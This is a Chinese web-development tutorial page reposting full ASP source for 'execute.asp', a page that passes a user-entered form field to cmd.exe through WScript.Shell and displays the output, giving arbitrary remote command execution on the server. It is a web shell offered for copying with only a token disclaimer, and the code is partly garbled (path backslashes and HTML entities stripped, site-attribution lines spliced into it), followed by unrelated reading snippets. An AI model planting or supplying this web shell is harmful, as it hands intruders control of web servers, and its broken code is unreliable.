2.9 可以这行系统命令的ASP原码放松

2016-02-19 13:35 3 1 收藏

想要天天向上,就要懂得享受学习。图老师为大家推荐2.9 可以这行系统命令的ASP原码放松,精彩的内容需要你们用心的阅读。还在等什么快点来看看吧!

【 tulaoshi.com - Web开发 】

注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。
copy下来另存为execute.asp.

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
<p align="left">输入要执行的命令:<input type="text" name="ml"

size="20" value="dir c:" style="background-color: #C0C0C0; color:

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/webkaifa/)

#000000; border-style: solid; border-width: 1">
<input type="submit" value="执行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:winntsystem32cmd.exe /c "&ml&" >c:whoamI.txt" '修改

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/webkaifa/)

whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & " "
Response.write " 命令成功执行!"&"<br><br>"
else
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行

!"&"<br><br>"

end if
'response.write cmd

function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, F

alse) '读文件,别忘

了修改路径.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"<br>"
loop
thisfile.Close
set fs=nothing
%>

</body>

</html>

请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。

来源:http://www.tulaoshi.com/n/20160219/1604718.html

延伸阅读
虽然Linux和Windows NT/2000系统一样是一个多用户的系统,但是它们之间有不少重要的差别。对于很多习惯了Windows系统的管理员来讲,如何保证Linux操作系统安全、可靠将会面临许多新的挑战。本文将重点介绍Linux系统安全的命令。 虽然Linux和Windows NT/2000系统一样是一个多用户的系统,但是它们之间有不少重要的差别。对于很多习惯了Windows...
标签: 电脑入门
Windows XP系统内置的AT命令 AT命令是Windows XP中内置的命令,它也可以媲美Windows中的计划任务,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。 我们可以在开始→运行中输入AT命令,下面就来看看AT命令的一些实例分析。 1、定时关机 命...
1.原码、反码和补码定义 1.原码 将最高位作为符号位(以0代表正,1代表负),其余各位代表数值本身的绝对值(以二进制表示)。 为了简单起见,我们用1个字节来表示一个整数。      +7的原码为: 00000111      -7的原码为: 10000111 2.反码 一个数如果为正,则它的反码与原码相同;一个数如...
标签: 瑜伽
1.平躺在床上,然后将下半身全力向左转,左手放在臀部上,右手手掌往下,向右打开,头尽力向右扭,保持这个动作30秒,然后换一边。 2.平躺在床上,弯曲右腿至胸前,双手抱膝,用力压,左腿要保持放松,保持这个动作30秒,换一条腿做。 ...
标签: ASP
          自从Microsoft推出ASP技术后,由于ASP在创建动态交互式站点上的强大功能及其代码编写的简便性,使ASP在很多Internet/Intranet/Extranet网站上得到了极其广泛的应用,尤其是涉及到数据库操作的网站应用系统更是倾向于采用ASP技术。但由于众所周知的原因,ASP只能工作于MS自己的操...

经验教程

925

收藏

8
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部